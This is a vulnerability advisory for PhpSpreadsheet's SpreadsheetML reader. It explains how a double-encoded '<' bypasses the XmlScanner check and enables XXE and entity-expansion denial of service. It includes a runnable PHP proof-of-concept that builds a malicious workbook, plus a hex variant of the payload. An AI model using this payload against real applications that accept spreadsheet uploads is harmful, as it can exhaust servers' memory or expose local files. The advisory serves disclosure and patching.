---
id: CVE-2026-108357
aliases:
  - GHSA-rxj4-h86g-25gc
title: >-
  PhpSpreadsheet: XmlScanner Bypass via Double-Encoded unentity() TOCTOU Allows
  XXE and Denial of Service
summary: >-
  PhpSpreadsheet: XmlScanner Bypass via Double-Encoded unentity() TOCTOU Allows
  XXE and Denial of Service
severity: high
cvss: 8.8
cwe:
  - CWE-611
  - CWE-776
vendor: phpoffice
product: phpoffice/phpspreadsheet
ecosystem: composer
affected:
  - 'phpoffice/phpspreadsheet >= 4.0.0, <= 5.9.0'
  - 'phpoffice/phpspreadsheet >= 3.3.0, <= 3.10.7'
patched:
  - phpoffice/phpspreadsheet 5.10.0
  - phpoffice/phpspreadsheet 3.10.8
published: '2026-10-27'
updated: '2026-10-27'
sourceUpdated: '2026-10-27T15:38:25Z'
source: GHSA
sourceUrl: 'https://github.com/advisories/GHSA-rxj4-h86g-25gc'
references:
  - url: >-
      https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-rxj4-h86g-25gc
  - url: 'https://nvd.nist.gov/vuln/detail/CVE-2026-108357'
  - url: >-
      https://github.com/PHPOffice/PhpSpreadsheet/commit/89f455c133e1a7e2d4abfadc43ce29eb7450d781
  - url: >-
      https://github.com/PHPOffice/PhpSpreadsheet/commit/980b5c294493856f1a25754f1e8a1d2185b93738
  - url: 'https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/3.10.8'
  - url: 'https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/5.10.0'
  - url: 'https://github.com/advisories/GHSA-rxj4-h86g-25gc'
tags:
  - ghsa
  - composer
  - cve.org
epss: 0.00463
epssPercentile: 0.40268
cvssVector: 'CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:H/SC:L/SI:N/SA:N'
ssvc:
  exploitation: none
  automatable: 'yes'
  technicalImpact: partial
  timestamp: '2026-10-23T17:32:57.479788Z'
cvssSource: cna
ingestedAt: '2026-10-22T22:00:50.356Z'
---

## Overview

### Summary
The SpreadsheetML XML reader (`Reader\Xml`) scans file content **twice** through `XmlScanner::scan()`, and each scan runs an `unentity()` callback that calls `html_entity_decode()` **after** the pattern check. By double-encoding the `<` character as `&#38;#60;`, the first scan decodes `&#38;` to `&` (forming `&#60;`), and the second scan decodes `&#60;` to `<` (forming `<!DOCTYPE`). Neither scan's pattern check detects the `<!DOCTYPE` string because the callback runs after each check. This enables Denial of Service via entity expansion on **all PHP versions**, and XXE/SSRF on PHP < 8.0 or when `LIBXML_NOENT` is used.

### Details

The vulnerability involves an interaction between three code locations:

**1. `XmlScanner::scan()`** (XmlScanner.php, lines 87–108) — checks the pattern *before* the callback:

```php
public function scan($xml): string
{
    $pattern = '/\0*<\0*!\0*D\0*O\0*...\0*/';

    if (preg_match($pattern, $xml)) {       // CHECK 1 (raw)
        throw new Exception('Detected use of ENTITY...');
    }
    $xml = $this->toUtf8($xml);
    if (preg_match($pattern, $xml)) {       // CHECK 2 (UTF-8)
        throw new Exception('Detected use of ENTITY...');
    }
    if ($this->callback !== null) {
        $xml = call_user_func($this->callback, $xml); // DECODE (after checks!)
    }
    return $xml;  // <!DOCTYPE now present, never checked
}
```

**2. `Xml::canRead()`** (Xml.php, lines 79–117) — scans and stores the result:

```php
$data = file_get_contents($filename);
$data = $this->getSecurityScannerOrThrow()->scan($data); // 1st scan
// ...
$this->fileContents = $data; // stores partially-decoded content
```

**3. `Xml::trySimpleXMLLoadStringPrivate()`** (Xml.php, lines 120–150) — re-scans the stored content:

```php
$data = $this->fileContents; // already partially decoded
$xml = simplexml_load_string(
    $this->getSecurityScannerOrThrow()->scan($data) // 2nd scan finishes decoding
);
```

The double-scan decode chain:

```
Raw file:       &#38;#60;!DOCTYPE
                         |
1st scan():     pattern check → no match (no "<" character)
                callback → html_entity_decode(&#38;) = &
                         |
Stored:         &#60;!DOCTYPE
                         |
2nd scan():     pattern check → no match (no "<" character)
                callback → html_entity_decode(&#60;) = <
                         |
Parser sees:    <!DOCTYPE ← never detected by either scan
```

The `unentity()` callback (Xml.php, lines 54–61) protects five named entities (`&amp; &lt; &gt; &quot; &apos;`) via Unicode placeholders, but numeric entities (`&#38; &#60; &#x26; &#x3C;`) are not protected and are decoded by `html_entity_decode()`.

### PoC

Save the following as `poc_toctou.php` in a directory with PhpSpreadsheet installed via Composer:

```php
<?php
require 'vendor/autoload.php';

// Double-encoded: &#38;#60; survives two scan() passes
// 1st scan callback: &#38; → & (forms &#60;)
// 2nd scan callback: &#60; → < (forms <!DOCTYPE)
$entity_value = str_repeat('A', 100000);
$refs = str_repeat('&big;', 200);

$xml = '<?xml version="1.0"?>' . "\n"
    . '<?mso-application progid="Excel.Sheet"?>' . "\n"
    . '&#38;#60;!DOCTYPE Workbook [' . "\n"
    . '  &#38;#60;!ENTITY big "' . $entity_value . '">' . "\n"
    . ']>' . "\n"
    . '<Workbook xmlns="urn:schemas-microsoft-com:office:spreadsheet"' . "\n"
    . '  xmlns:ss="urn:schemas-microsoft-com:office:spreadsheet">' . "\n"
    . '  <Worksheet ss:Name="Sheet1">' . "\n"
    . '    <Table><Row><Cell><Data ss:Type="String">' . $refs . '</Data></Cell></Row></Table>' . "\n"
    . '  </Worksheet>' . "\n"
    . '</Workbook>';

file_put_contents('poc.xml', $xml);
echo "File size: " . filesize('poc.xml') . " bytes\n";

$mem_before = memory_get_usage(true);
$reader = new \PhpOffice\PhpSpreadsheet\Reader\Xml();
echo "canRead: " . ($reader->canRead('poc.xml') ? 'true' : 'false') . "\n";
$spreadsheet = $reader->load('poc.xml');
$peak = memory_get_peak_usage(true);

echo "Peak memory: " . round($peak / 1024 / 1024, 1) . " MB\n";

$val = $spreadsheet->getActiveSheet()->getCell('A1')->getValue();
echo "Cell A1 length: " . strlen($val) . " bytes\n";
echo "Entity expansion: " . (strlen($val) > 10000 ? "CONFIRMED" : "not detected") . "\n";
```

Run: `php -d memory_limit=512M poc_toctou.php`

**Expected result:** The file loads successfully, bypassing both scan passes. Internal entities expand, consuming ~45 MB of memory. Cell A1 contains 32,767 bytes (PhpSpreadsheet's max cell length, confirming entity expansion).

**Hex variant:** Replace `&#38;#60;` with `&#38;#x3C;` — both are decoded by `html_entity_decode()`.

**Tested on:** PhpSpreadsheet 5.9.0, PHP 8.5.3, libxml2 2.9.13.

### Impact

| Attack | PHP < 8.0 / libxml2 < 2.9 | PHP 8.x / libxml2 2.9+ |
|--------|---------------------------|------------------------|
| Denial of Service (quadratic blowup) | **Exploitable** | **Exploitable** |
| Local file read via SYSTEM entity | **Exploitable** | Blocked by default |
| SSRF via SYSTEM entity | **Exploitable** | Blocked by default |
| File read when LIBXML_NOENT is used | **Exploitable** | **Exploitable** |

Any application that accepts user-uploaded SpreadsheetML XML files (recognized by the `<?mso-application progid="Excel.Sheet"?>` processing instruction) and processes them with PhpSpreadsheet's `Xml` reader is vulnerable.

## Affected packages

- `phpoffice/phpspreadsheet >= 4.0.0, <= 5.9.0`
- `phpoffice/phpspreadsheet >= 3.3.0, <= 3.10.7`

## Remediation

Upgrade to a patched release:

- `phpoffice/phpspreadsheet 5.10.0`
- `phpoffice/phpspreadsheet 3.10.8`
